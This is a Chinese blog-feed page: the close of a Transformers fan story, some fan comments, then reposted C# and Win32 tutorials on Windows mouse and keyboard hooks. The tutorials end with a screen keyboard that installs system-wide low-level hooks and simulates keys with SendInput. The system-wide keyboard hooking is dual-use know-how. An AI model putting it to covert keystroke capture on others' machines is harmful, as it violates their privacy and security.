“我们明白,警车。我们总会在你身旁。”

 

有那么一会儿警车觉得自己的面部装甲快把里面的线路烫坏了。他的眼神从吊钩面前游离开来,又看到后面四对闪闪发光的光学镜,尽管其中三对隐藏在热切的护目镜后面。

 

我的逻辑线路一定是被机器狗啃了。当挖地虎们像幼生体一样聚拢过来拥抱亲吻他时,警车自暴自弃地这么想着。

 

End

 

 

 

 

注1:“女孩们”指风刃一行人,我假设风刃和猛大帅也有这样的高度处理器共享关系。其实这里应该还挺明显。

 

注2:真正让阿尔茜和挖地虎们战个痛快的原因并不是他们有求于她,也不是他们之间(可有可无的)积怨,而是她被这群芯甘情愿跟在某位别(傲)扭(娇)的长官后面,日趋抖M的家伙闪得很烦躁。

 

注3:机器狗表示身在太空也中枪。执行隐蔽护卫侦查任务时打喷嚏是很容易被发现的。




Eurjin

船长你要不要这么帅!!!!!!!!!!!!!!!

船长你要不要这么帅!!!!!!!!!!!!!!!

Eurjin
虎克你好帅啊!!!!!!!!!...

虎克你好帅啊!!!!!!!!!!!

帅出血啊嗷嗷嗷!若隐若现的胸肌QAQ!!!!!

虎克你好帅啊!!!!!!!!!!!

帅出血啊嗷嗷嗷!若隐若现的胸肌QAQ!!!!!

webczw

Set&nbsp;a&nbsp;mouse&nbsp;hook

To set a hook, call the SetWindowsHookEx function from the User32.dll file. This function installs an application-defined hook procedure in the hook chain that is associated with the hook.

To set a mouse hook and to monitor the mouse events, follow these steps:

  1. Start Microsoft Visual...

To set a hook, call the SetWindowsHookEx function from the User32.dll file. This function installs an application-defined hook procedure in the hook chain that is associated with the hook.

To set a mouse hook and to monitor the mouse events, follow these steps:

  1. Start Microsoft Visual Studio .NET.
  2. On the File menu, point to New, and then click Project.
  3. In the New Project dialog box, click Visual C# Projects under Project Types, and then clickWindows Application under Templates. In the Name box, type ThreadSpecificMouseHook. By default, a form that is named Form1 is created.
  4. Add the following line of code in the Form1.cs file after the other using statements.

    using System.Runtime.InteropServices;

  5. Add following code in the Form1 class.

    public delegate int HookProc(int nCode, IntPtr wParam, IntPtr lParam); //Declare the hook handle as an int. static int hHook = 0; //Declare the mouse hook constant. //For other hook types, you can obtain these values from Winuser.h in the Microsoft SDK. public const int WH_MOUSE = 7; private System.Windows.Forms.Button button1; //Declare MouseHookProcedure as a HookProc type. HookProc MouseHookProcedure; //Declare the wrapper managed POINT class. [StructLayout(LayoutKind.Sequential)] public class POINT { public int x; public int y; } //Declare the wrapper managed MouseHookStruct class. [StructLayout(LayoutKind.Sequential)] public class MouseHookStruct { public POINT pt; public int hwnd; public int wHitTestCode; public int dwExtraInfo; } //This is the Import for the SetWindowsHookEx function. //Use this function to install a thread-specific hook. [DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId); //This is the Import for the UnhookWindowsHookEx function. //Call this function to uninstall the hook. [DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] public static extern bool UnhookWindowsHookEx(int idHook); //This is the Import for the CallNextHookEx function. //Use this function to pass the hook information to the next hook procedure in chain. [DllImport("user32.dll",CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)] public static extern int CallNextHookEx(int idHook, int nCode, IntPtr wParam, IntPtr lParam);

     

  6. Add a Button control to the form, and then add the following code in the Button1_clickprocedure.

    private void button1_Click(object sender, System.EventArgs e) { if(hHook == 0) { // Create an instance of HookProc. MouseHookProcedure = new HookProc(Form1.MouseHookProc); hHook = SetWindowsHookEx(WH_MOUSE, MouseHookProcedure, (IntPtr)0, AppDomain.GetCurrentThreadId()); //If the SetWindowsHookEx function fails. if(hHook == 0 ) { MessageBox.Show("SetWindowsHookEx Failed"); return; } button1.Text = "UnHook Windows Hook"; } else { bool ret = UnhookWindowsHookEx(hHook); //If the UnhookWindowsHookEx function fails. if(ret == false ) { MessageBox.Show("UnhookWindowsHookEx Failed"); return; } hHook = 0; button1.Text = "Set Windows Hook"; this.Text = "Mouse Hook"; } }

     

  7. Add the following code for the MouseHookProc function in the Form1 class.

    public static int MouseHookProc(int nCode, IntPtr wParam, IntPtr lParam) { //Marshall the data from the callback. MouseHookStruct MyMouseHookStruct = (MouseHookStruct) Marshal.PtrToStructure(lParam, typeof(MouseHookStruct)); if (nCode < 0) { return CallNextHookEx(hHook, nCode, wParam, lParam); } else { //Create a string variable that shows the current mouse coordinates. String strCaption = "x = " + MyMouseHookStruct.pt.x.ToString("d") + " y = " + MyMouseHookStruct.pt.y.ToString("d"); //You must get the active form because it is a static function. Form tempForm = Form.ActiveForm; //Set the caption of the form. tempForm.Text = strCaption; return CallNextHookEx(hHook, nCode, wParam, lParam); } }

     

  8. Press F5 to run the project. Click the button on the form to set the hook. The mouse coordinates appear on the form caption bar when the pointer moves on the form. Click the button again to remove the hook.



 运行结果:



  Set a mouse hook


Set a mouse hook



http://support.microsoft.com/default.aspx?scid=kb;en-us;318804




流o氓 的小窝

Windows HOOK 说明

hook是WINDOWS提供的一种消息处理机制,它使得程序员可以使用子过程来监视系统消息,并在消息到达目标过程前得到处理。
下面将介绍WINNDOWS HOOKS并且说明如何在WINDOWS 程序中使用它。

=========================关于HOOKS======================
使用HOOK 将会降低系统效率,因为它增加了系统处量消息的工作量。建议在必要时才使用HOOK,并在消息处理完成后立即移去该HOOK。
HOOK链
WINDOWS提供了几种不同类型的HOOKS;不同的HOOK可以处理不同的消息。例如,WH_MOUSE HOOK用来监视鼠标消息。
WINDOWS...

hook是WINDOWS提供的一种消息处理机制,它使得程序员可以使用子过程来监视系统消息,并在消息到达目标过程前得到处理。
下面将介绍WINNDOWS HOOKS并且说明如何在WINDOWS 程序中使用它。

=========================关于HOOKS======================
使用HOOK 将会降低系统效率,因为它增加了系统处量消息的工作量。建议在必要时才使用HOOK,并在消息处理完成后立即移去该HOOK。
HOOK链
WINDOWS提供了几种不同类型的HOOKS;不同的HOOK可以处理不同的消息。例如,WH_MOUSE HOOK用来监视鼠标消息。
WINDOWS为这几种HOOKS维护着各自的HOOK链。HOOK链是一个由应用程序定义的回调函数队列,当某种类型的消息发生时,WINDOWS向此种类型的HOOK链的第一个函数发送该消息,在第一函数处理完该消息后由该函数向链表中的下一个函数传递消息,依次向下。如果链中某个函数没有向下传送该消息,那么链表中后面的函数将得不到此消息。(对于某些类型的HOOK,不管HOOK链中的函数是否向下传递消息,与此类型HOOK联系的所有HOOK函数都会收到系统发送的消息)

===========================HOOK过程========================
为了拦截特定的消息,你可以使用SetWindowsHookEx函数在该类型的HOOK链中安装你自己的HOOK函数。
SetWindowsHookEx函数的语法:
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
该函数语法如下:
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
其中HookProc可以随便命名,其它不能变。nCode指定HOOK类型。wParam,lParam的取值随nCode不同而不同,它代表了某种类型的HOOK的某个特定的动作。
SetWindowsHookEx总是将你的HOOK函数放置在HOOK链的顶端。你可以使用CallNextHookEx函数将系统消息传递给HOOK链中的下一个函数。
[注释]对于某些类型的HOOK,系统将向该类的所有HOOK函数发送消息,这时,HOOK函数中的CallNextHookEx语句将被忽略。
全局HOOK函数可以拦截系统中所有线程的某个特定的消息(此时该HOOK函数必须放置在DLL中),局部HOOK函数可以拦截指定线程的某特定消息(此时该HOOK函数可以放置在DLL中,也可以放置在应用程序的模块段)。
[注释] 建议只在调试时使用全局HOOK函数。全局HOOK函数将降低系统效率,并且会同其它使用该类HOOK的应用程序产生冲突。

========================HOOK类型=================================
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_CALLWNDPROC 和WH_CALLWNDPROCRET HOOK可以监视SendMessage发送的消息。系统在向窗体过程发送消息前,将调用WH_CALLWNDPROC;在窗体过程处理完该消息后系统将调用WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK会向HOOK过程传送一个CWPRETSTRUCT结构的地址。该结构包含了窗体过程处理系统消息后的一些信息。
WH_CBT Hook
系统在激活,创建,销毁,最小化,最大化,移动,改变窗体的大小前;在完成一条系统命令前;在从系统消息队列中移去鼠标或键盘事件前;在设置输入焦点前,或同步系统消息队列前,将调用WH_CBT HOOK。你可以在你的HOOK 过程拦截该类HOOK,并返回一个值,告诉系统,是否继续执行上面的操作。WH_CBT类型的函数一般倾向于用在其预计算机培训的应用中。(CBT,Computer-Based Training)
WH_DEBUG HOOK
系统在调用与某种HOOK类型联系的HOOK过程前,将调用WH_DEBUG ,应用程序可以使用该HOOK决定是否让系统执行某种类型的HOOK。
WH_FOREGROUNDIDLE Hook
系统在空闲时调用该HOOK,在后台执行优先权较低的应用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook使应用程序可以拦截GetMessage 或 PeekMessage的消息。应用程序使用WH_GETMESSAGE HOOK监视鼠标、键盘输入和发送到队列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook使应用程序可以监视输入事件。典型地,应用程序使用该HOOK记录鼠标、键盘输入事件以供以后回放。该HOOK是全局HOOK,并且不能在指定线程中使用。
WH_JOURNALPLAYBACK Hook
WH_JOURNALPLAYBACK Hook使应用程序可以向系统消息队列中插入消息。该HOOK可以回放以前由WH_JOURNALRECORD HOOK录制的鼠标、键盘输入事件。在WH_JOURNALPLAYBACK Hook安装到系统时,鼠标、键盘输入事件将被屏蔽。该HOOK同样是一个全局HOOK,不能在指定线程中使用。
WH_JOURNALPLAYBACK Hook返回一个时间暂停值,它告诉系统,在处理当前回放的消息时,系统等待百分之几秒。这使得此HOOK可以控制在回放时的时间事件。
WH_KEYBOARD Hook
WH_KEYBOARD Hook使应用程序可以监视由GetMessage和PeekMessage返回的WM_KEYDOWN 及WM_KEYUP消息。应用程序使用该HOOK监视发送到消息队列中的键盘输入。
WH_MOUSE Hook
WH_MOUSE Hook 使应用程序可以监视由GetMessage和PeekMessage返回的消息。应用程序使用该HOOK监视发送到消息队列中的鼠标输入。
WH_MSGFILTER and WH_SYSMSGFILTER Hooks
WH_MSGFILTER 和WH_SYSMSGFILTER Hooks使应用程序可以监视菜单、滚动条、消息框、对话框,当用户使用ALT+TAB或ALT+ESC来切换窗体时,该HOOK也可以拦截到消息。WH_MSGFILTER仅在应用程序内部监视菜单、滚动条、消息框、对话框,而WH_SYSMSGFILTER则可以在系统内监视所有应用程序的这些事件。
WH_SHELL Hook
一个SHELL程序可以使用WH_SHELL Hook来接收重要的信息。当一个SHELL程序被激活前或当前窗体被创建、销毁时,系统会调用WH_SHELL Hook过程。

=======================使用HOOK============================
安装、消毁HOOK过程
使用SetWindowsHookEx函数,指定一个HOOK类型,自己的HOOK过程是全局还是局部HOOK,同时给出HOOK过程的进入点,就可以轻松的安装你自己的HOOK过程。
为了安装一个全局HOOK过程,必须在应用程序外建立一个DLL,并将该HOOK函数封装到其中,应用程序在安装全局HOOK过程时必须先得到该DLL模块的句柄。将DLL名传递给LoadLibrary 函数,就会得到该DLL模块的句柄;得到该句柄 后,使用GetProcAddress函数可以得到HOOK过程的地址。最后,使用SetWindowsHookEx将HOOK过程的首址嵌入相应的HOOK链中,SetWindowsHookEx传递一个模块句柄,它为HOOK过程的进入点,线程标识符置为0,指出:该HOOK过程同系统中的所有线程关联。

以下是C写的例程:
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg; 
....
hinstDLL = LoadLibrary((LPCTSTR) "c:\\windows\\sysmsg.dll");
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");
hhookSysMsg = SetWindowsHookEx(WH_SYSMSGFILTER,
hkprcSysMsg, hinstDLL, 0);

【from http://www.zaoxue.com/article/tech-60918.htm

流o氓 的小窝

C# hook的一个简单例子

效果是:你输入“b”,它肯定还是“a”。。。-_-!!!

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
     ...

效果是:你输入“b”,它肯定还是“a”。。。-_-!!!

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        internal enum HookType //枚举,钩子的类型
        {
            //MsgFilter = -1,
            //JournalRecord = 0,
            //JournalPlayback = 1,
            Keyboard = 2,
            //GetMessage = 3,
            //CallWndProc = 4,
            //CBT = 5,
            //SysMsgFilter = 6,

            //Mouse = 7,
            //Hardware = 8,
            //Debug = 9,
            //Shell = 10,
            //ForegroundIdle = 11,
            //CallWndProcRet = 12,
            //KeyboardLL = 13,
            //MouseLL = 14,
        };

        IntPtr _nextHookPtr; //记录Hook编号

        [DllImport("kernel32.dll")]
        static extern int GetCurrentThreadId(); //取得当前线程编号的API

        [DllImport("User32.dll")]
        internal extern static void UnhookWindowsHookEx(IntPtr handle); //取消Hook的API

        [DllImport("User32.dll")]
        internal extern static IntPtr SetWindowsHookEx(int idHook, [MarshalAs(UnmanagedType.FunctionPtr)] HookProc lpfn, IntPtr hinstance, int threadID); //设置Hook的API

        [DllImport("User32.dll")]
        internal extern static IntPtr CallNextHookEx(IntPtr handle, int code, IntPtr wparam, IntPtr lparam); //取得下一个Hook的API

        internal delegate IntPtr HookProc(int code, IntPtr wparam, IntPtr lparam);

        IntPtr MyHookProc(int code, IntPtr wparam, IntPtr lparam)
        {
            if (code < 0) return CallNextHookEx(_nextHookPtr, code, wparam, lparam); //返回,让后面的程序处理该消息
            if (wparam.ToInt32() == 98 || wparam.ToInt32() == 66) //如果用户输入的是 b
            {
                this.textBox1.Text += "a";
                return (IntPtr)1; //直接返回了,该消息就处理结束了
            }
            else
            {
                return IntPtr.Zero; //返回,让后面的程序处理该消息
            }
        }
        public void SetHook()
        {
            if (_nextHookPtr != IntPtr.Zero) //已经勾过了
                return;

            HookProc myhookProc = new HookProc(MyHookProc); //声明一个自己的Hook实现函数的委托对象

            _nextHookPtr = SetWindowsHookEx((int)HookType.Keyboard, myhookProc, IntPtr.Zero, GetCurrentThreadId()); //加到Hook链中
        }

        public void UnHook()
        {
            if (_nextHookPtr != IntPtr.Zero)
            {
                UnhookWindowsHookEx(_nextHookPtr); //从Hook链中取消
                _nextHookPtr = IntPtr.Zero;
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            SetHook();
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            UnHook();
        }

    }

【THX 4 the Code from ALAN (a C# programmer) http://www.cnblogs.com/hcfalan/archive/2006/06/19/429682.html

【Microsoft 对 hook 的解读:http://www.microsoft.com/china/community/program/originalarticles/techdoc/hook.mspx

流o氓 的小窝

C# 实现屏幕键盘 (ScreenKeyboard)

要实现一个屏幕键盘,需要监听所有键盘事件,无论窗体是否被激活。因此需要一个全局的钩子,也就
是系统范围的钩子。

什么是钩子(Hook)

    钩子(Hook)是Windows提供的一种消息处理机制平台,是指在程序正常运行中接受信息之前预先
    启动的函数,用来检查和修改传给该程序的信息,(钩子)实际上是一个处理消息的程序段,通
    过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获
    该消息,亦即钩子函数先得到控制权。这时钩子函数即可...

要实现一个屏幕键盘,需要监听所有键盘事件,无论窗体是否被激活。因此需要一个全局的钩子,也就
是系统范围的钩子。

什么是钩子(Hook)

    钩子(Hook)是Windows提供的一种消息处理机制平台,是指在程序正常运行中接受信息之前预先
    启动的函数,用来检查和修改传给该程序的信息,(钩子)实际上是一个处理消息的程序段,通
    过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获
    该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不
    作处理而继续传递该消息,还可以强制结束消息的传递。注意:安装钩子函数将会影响系统的性
    能。监测“系统范围事件”的系统钩子特别明显。因为系统在处理所有的相关事件时都将调用您的
    钩子函数,这样您的系统将会明显的减慢。所以应谨慎使用,用完后立即卸载。还有,由于您可
    以预先截获其它进程的消息,所以一旦您的钩子函数出了问题的话必将影响其它的进程。

钩子的作用范围
    一共有两种范围(类型)的钩子,局部的和远程的。局部钩子仅钩挂自己进程的事件。远程的钩
    子还可以将钩挂其它进程发生的事件。远程的钩子又有两种: 基于线程的钩子将捕获其它进程中
    某一特定线程的事件。简言之,就是可以用来观察其它进程中的某一特定线程将发生的事件。 系
    统范围的钩子将捕捉系统中所有进程将发生的事件消息。 

Hook 类型
    Windows共有14种Hooks,每一种类型的Hook可以使应用程序能够监视不同类型的系统消息处理机
    制。下面描述所有可以利用的Hook类型的发生时机。详细内容可以查阅MSDN,这里只介绍我们将要
    用到的两种类型的钩子。
    
    (1)WH_KEYBOARD_LL Hook
        WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

    (2)WH_MOUSE_LL Hook
        WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

下面的 class 把 API 调用封装起来以便调用。

 1// NativeMethods.cs
 2using System;
 3using System.Runtime.InteropServices;
 4using System.Drawing;
 5
 6namespace CnBlogs.Youzai.ScreenKeyboard {
 7    [StructLayout(LayoutKind.Sequential)]
 8    internal struct MOUSEINPUT {
 9        public int dx;
10        public int dy;
11        public int mouseData;
12        public int dwFlags;
13        public int time;
14        public IntPtr dwExtraInfo;
15    }
16
17    [StructLayout(LayoutKind.Sequential)]
18    internal struct KEYBDINPUT {
19        public short wVk;
20        public short wScan;
21        public int dwFlags;
22        public int time;
23        public IntPtr dwExtraInfo;
24    }
25
26    [StructLayout(LayoutKind.Explicit)]
27    internal struct Input {
28        [FieldOffset(0)]
29        public int type;
30        [FieldOffset(4)]
31        public MOUSEINPUT mi;
32        [FieldOffset(4)]
33        public KEYBDINPUT ki;
34        [FieldOffset(4)]
35        public HARDWAREINPUT hi;
36    }
37
38    [StructLayout(LayoutKind.Sequential)]
39    internal struct HARDWAREINPUT {
40        public int uMsg;
41        public short wParamL;
42        public short wParamH;
43    }
44
45    internal class INPUT {
46        public const int MOUSE = 0;
47        public const int KEYBOARD = 1;
48        public const int HARDWARE = 2;
49    }
50
51    internal static class NativeMethods {
52        [DllImport("User32.dll", CharSet = CharSet.Auto, SetLastError = false)]
53        internal static extern IntPtr GetWindowLong(IntPtr hWnd, int nIndex);
54
55        [DllImport("User32.dll", CharSet = CharSet.Auto, SetLastError = false)]
56        internal static extern IntPtr SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
57
58        [DllImport("User32.dll", EntryPoint = "SendInput", CharSet = CharSet.Auto)]
59        internal static extern UInt32 SendInput(UInt32 nInputs, Input[] pInputs, Int32 cbSize);
60
61        [DllImport("Kernel32.dll", EntryPoint = "GetTickCount", CharSet = CharSet.Auto)]
62        internal static extern int GetTickCount();
63
64        [DllImport("User32.dll", EntryPoint = "GetKeyState", CharSet = CharSet.Auto)]
65        internal static extern short GetKeyState(int nVirtKey);
66
67        [DllImport("User32.dll", EntryPoint = "SendMessage", CharSet = CharSet.Auto)]
68        internal static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam);
69    }
70}

安装钩子
    使用SetWindowsHookEx函数(API函数),指定一个Hook类型、自己的Hook过程是全局还是局部Hook,
    同时给出Hook过程的进入点,就可以轻松的安装自己的Hook过程。SetWindowsHookEx总是将你的Hook函
    数放置在Hook链的顶端。你可以使用CallNextHookEx函数将系统消息传递给Hook链中的下一个函数。
    对于某些类型的Hook,系统将向该类的所有Hook函数发送消息,这时,
    Hook函数中的CallNextHookEx语句将被忽略。全局(远程钩子)Hook函数可以拦截系统中所有线程的某
    个特定的消息,为了安装一个全局Hook过程,必须在应用程序外建立一个DLL并将该Hook函数封装到其中,
    应用程序在安装全局Hook过程时必须先得到该DLL模块的句柄。将Dll名传递给LoadLibrary 函数,就会得
    到该DLL模块的句柄;得到该句柄 后,使用GetProcAddress函数可以得到Hook过程的地址。最后,使用
    SetWindowsHookEx将 Hook过程的首址嵌入相应的Hook链中,SetWindowsHookEx传递一个模块句柄,它为
    Hook过程的进入点,线程标识符置为0,该Hook过程同系统中的所有线程关联。如果是安装局部Hook此时
    该Hook函数可以放置在DLL中,也可以放置在应用程序的模块段。在C#中通过平台调用(前文已经介绍过)
    来调用API函数。

 1    public void Start(bool installMouseHook, bool installKeyboardHook) {
 2        if (hMouseHook == IntPtr.Zero && installMouseHook) {
 3            MouseHookProcedure = new HookProc(MouseHookProc);
 4            hMouseHook = SetWindowsHookEx(
 5                WH_MOUSE_LL,
 6                MouseHookProcedure,
 7                Marshal.GetHINSTANCE(
 8                Assembly.GetExecutingAssembly().GetModules()[0]),
 9                0
10           );
11
12            if (hMouseHook == IntPtr.Zero) {
13                int errorCode = Marshal.GetLastWin32Error();
14                Stop(true, false, false);
15
16                throw new Win32Exception(errorCode);
17            }
18        }
19
20        if (hKeyboardHook == IntPtr.Zero && installKeyboardHook) {
21            KeyboardHookProcedure = new HookProc(KeyboardHookProc);
22            //install hook
23            hKeyboardHook = SetWindowsHookEx(
24                WH_KEYBOARD_LL,
25                KeyboardHookProcedure,
26                Marshal.GetHINSTANCE(
27                Assembly.GetExecutingAssembly().GetModules()[0]),
28                0);
29            // If SetWindowsHookEx fails.
30            if (hKeyboardHook == IntPtr.Zero) {
31                // Returns the error code returned by the last 
32                // unmanaged function called using platform invoke 
33                // that has the DllImportAttribute.SetLastError flag set. 
34                int errorCode = Marshal.GetLastWin32Error();
35                //do cleanup
36                Stop(false, true, false);
37                //Initializes and throws a new instance of the 
38                // Win32Exception class with the specified error. 
39                throw new Win32Exception(errorCode);
40            }
41        }
42    }

使用完钩子后,要进行卸载,这个可以写在析构函数中。

 1
 2    public void Stop() {
 3        this.Stop(true, true, true);
 4    }
 5    
 6    public void Stop(bool uninstallMouseHook, bool uninstallKeyboardHook, 
 7        bool throwExceptions) {
 8        // if mouse hook set and must be uninstalled
 9        if (hMouseHook != IntPtr.Zero && uninstallMouseHook) {
10            // uninstall hook
11           bool retMouse = UnhookWindowsHookEx(hMouseHook);
12            // reset invalid handle
13            hMouseHook = IntPtr.Zero;
14            // if failed and exception must be thrown
15            if (retMouse == false && throwExceptions) {
16                // Returns the error code returned by the last unmanaged function 
17                // called using platform invoke that has the DllImportAttribute.
18                // SetLastError flag set. 
19                int errorCode = Marshal.GetLastWin32Error();
20                // Initializes and throws a new instance of the Win32Exception class 
21                // with the specified error. 
22                throw new Win32Exception(errorCode);
23            }
24        }
25
26        // if keyboard hook set and must be uninstalled
27        if (hKeyboardHook != IntPtr.Zero && uninstallKeyboardHook) {
28            // uninstall hook
29            bool retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
30            // reset invalid handle
31            hKeyboardHook = IntPtr.Zero;
32            // if failed and exception must be thrown
33            if (retKeyboard == false && throwExceptions) {
34                // Returns the error code returned by the last unmanaged function 
35                // called using platform invoke that has the DllImportAttribute.
36                // SetLastError flag set. 
37                int errorCode = Marshal.GetLastWin32Error();
38                // Initializes and throws a new instance of the Win32Exception class 
39                // with the specified error. 
40                throw new Win32Exception(errorCode);
41            }
42        }
43    }
44

将这个文件编译成一个dll,即可在应用程序中调用。通过它提供的事件,便可监听所有的键盘事件。
但是,这只能监听键盘事件,没有键盘的情况下,怎么会有键盘事件?其实很简单,通过SendInput
API函数提供虚拟键盘代码的调用即可模拟键盘输入。下面的代码模拟一个 KeyDown 和 KeyUp 过程,
把他们连接起来就是一次按键过程。

 1    private void SendKeyDown(short key) {
 2        Input[] input = new Input[1];
 3        input[0].type = INPUT.KEYBOARD;
 4        input[0].ki.wVk = key;
 5        input[0].ki.time = NativeMethods.GetTickCount();
 6
 7        if (NativeMethods.SendInput((uint)input.Length, input, Marshal.SizeOf(input[0])) 
 8            < input.Length) {
 9            throw new Win32Exception(Marshal.GetLastWin32Error());
10        }
11    }
12
13    private void SendKeyUp(short key) {
14        Input[] input = new Input[1];
15        input[0].type = INPUT.KEYBOARD;
16        input[0].ki.wVk = key;
17        input[0].ki.dwFlags = KeyboardConstaint.KEYEVENTF_KEYUP;
18        input[0].ki.time = NativeMethods.GetTickCount();
19
20        if (NativeMethods.SendInput((uint)input.Length, input, Marshal.SizeOf(input[0]))
21            < input.Length) {
22            throw new Win32Exception(Marshal.GetLastWin32Error());
23        }
24    }

自己实现一个 KeyBoardButton 控件用作按钮,用 Visual Studio 或者 SharpDevelop 为屏幕键盘设计 UI,然后
在这些 Button 的 Click 事件里面模拟一个按键过程。

 1
 2    private void ButtonOnClick(object sender, EventArgs e) {
 3        KeyboardButton btnKey = sender as KeyboardButton;
 4        if (btnKey == null) {
 5            return;
 6        }
 7
 8        SendKeyCommand(btnKey);
 9    }
10    
11    private void SendKeyCommand(KeyboardButton keyButton) {
12        short key = keyButton.VKCode;
13        if (combinationVKButtonsMap.ContainsKey(key)) {
14            if (keyButton.Checked) {
15                SendKeyUp(key);
16            } else {
17                SendKeyDown(key);
18            }
19        } else {
20            SendKeyDown(key);
21            SendKeyUp(key);
22        }
23    }

其中 combinationVKButtonsMap 是一个 IDictionary<short, IList<KeyboardButton>>, key 存储的是
VK_SHIFT, VK_CONTROL 等组合键的键盘码。左右两个按钮对应同一个键盘码,因此需要放在一个 List 里。
标准键盘上的每一个键都有虚拟键码( VK_CODE)与之对应。还有一些其他的常量,
把它写在一个静态 class 里吧。

 1    // KeyboardConstaint.cs
 2    internal static class KeyboardConstaint {
 3        internal static readonly short VK_F1 = 0x70;
 4        internal static readonly short VK_F2 = 0x71;
 5        internal static readonly short VK_F3 = 0x72;
 6        internal static readonly short VK_F4 = 0x73;
 7        internal static readonly short VK_F5 = 0x74;
 8        internal static readonly short VK_F6 = 0x75;
 9        internal static readonly short VK_F7 = 0x76;
10        internal static readonly short VK_F8 = 0x77;
11        internal static readonly short VK_F9 = 0x78;
12        internal static readonly short VK_F10 = 0x79;
13        internal static readonly short VK_F11 = 0x7A;
14        internal static readonly short VK_F12 = 0x7B;
15
16        internal static readonly short VK_LEFT = 0x25;
17        internal static readonly short VK_UP = 0x26;
18        internal static readonly short VK_RIGHT = 0x27;
19        internal static readonly short VK_DOWN = 0x28;
20
21        internal static readonly short VK_NONE = 0x00;
22        internal static readonly short VK_ESCAPE = 0x1B;
23        internal static readonly short VK_EXECUTE = 0x2B;
24        internal static readonly short VK_CANCEL = 0x03;
25        internal static readonly short VK_RETURN = 0x0D;
26        internal static readonly short VK_ACCEPT = 0x1E;
27        internal static readonly short VK_BACK = 0x08;
28        internal static readonly short VK_TAB = 0x09;
29        internal static readonly short VK_DELETE = 0x2E;
30        internal static readonly short VK_CAPITAL = 0x14;
31        internal static readonly short VK_NUMLOCK = 0x90;
32        internal static readonly short VK_SPACE = 0x20;
33        internal static readonly short VK_DECIMAL = 0x6E;
34        internal static readonly short VK_SUBTRACT = 0x6D;
35
36        internal static readonly short VK_ADD = 0x6B;
37        internal static readonly short VK_DIVIDE = 0x6F;
38        internal static readonly short VK_MULTIPLY = 0x6A;
39        internal static readonly short VK_INSERT = 0x2D;
40
41        internal static readonly short VK_OEM_1 = 0xBA;  // ';:' for US
42        internal static readonly short VK_OEM_PLUS = 0xBB;  // '+' any country
43
44        internal static readonly short VK_OEM_MINUS = 0xBD;  // '-' any country
45
46        internal static readonly short VK_OEM_2 = 0xBF;  // '/?' for US
47        internal static readonly short VK_OEM_3 = 0xC0;  // '`~' for US
48        internal static readonly short VK_OEM_4 = 0xDB;  //  '[{' for US
49        internal static readonly short VK_OEM_5 = 0xDC;  //  '\|' for US
50        internal static readonly short VK_OEM_6 = 0xDD;  //  ']}' for US
51        internal static readonly short VK_OEM_7 = 0xDE;  //  ''"' for US
52        internal static readonly short VK_OEM_PERIOD = 0xBE;  // '.>' any country
53        internal static readonly short VK_OEM_COMMA = 0xBC;  // ',<' any country
54        internal static readonly short VK_SHIFT = 0x10;
55        internal static readonly short VK_CONTROL = 0x11;
56        internal static readonly short VK_MENU = 0x12;
57        internal static readonly short VK_LWIN = 0x5B;
58        internal static readonly short VK_RWIN = 0x5C;
59        internal static readonly short VK_APPS = 0x5D;
60
61        internal static readonly short VK_LSHIFT = 0xA0;
62        internal static readonly short VK_RSHIFT = 0xA1;
63        internal static readonly short VK_LCONTROL = 0xA2;
64        internal static readonly short VK_RCONTROL = 0xA3;
65        internal static readonly short VK_LMENU = 0xA4;
66        internal static readonly short VK_RMENU = 0xA5;
67
68        internal static readonly short VK_SNAPSHOT = 0x2C;
69        internal static readonly short VK_SCROLL = 0x91;
70        internal static readonly short VK_PAUSE = 0x13;
71        internal static readonly short VK_HOME = 0x24;
72
73        internal static readonly short VK_NEXT = 0x22;
74        internal static readonly short VK_PRIOR = 0x21;
75        internal static readonly short VK_END = 0x23;
76
77        internal static readonly short VK_NUMPAD0 = 0x60;
78        internal static readonly short VK_NUMPAD1 = 0x61;
79        internal static readonly short VK_NUMPAD2 = 0x62;
80        internal static readonly short VK_NUMPAD3 = 0x63;
81        internal static readonly short VK_NUMPAD4 = 0x64;
82        internal static readonly short VK_NUMPAD5 = 0x65;
83        internal static readonly short VK_NUMPAD5NOTHING = 0x0C;
84        internal static readonly short VK_NUMPAD6 = 0x66;
85        internal static readonly short VK_NUMPAD7 = 0x67;
86        internal static readonly short VK_NUMPAD8 = 0x68;
87        internal static readonly short VK_NUMPAD9 = 0x69;
88
89        internal static readonly short KEYEVENTF_EXTENDEDKEY    = 0x0001;
90        internal static readonly short KEYEVENTF_KEYUP          = 0x0002;
91
92        internal static readonly int GWL_EXSTYLE    = -20;
93        internal static readonly int WS_DISABLED    = 0X8000000;
94        internal static readonly int WM_SETFOCUS    = 0X0007;
95    }

屏幕键盘必须是一个不能获得输入焦点的窗体,在这个窗体的构造函数里,可以安装
一个全局鼠标钩子,再通过调用 SetWindowLong API 函数完成。

 1UserActivityHook hook = new UserActivityHook(true, true);
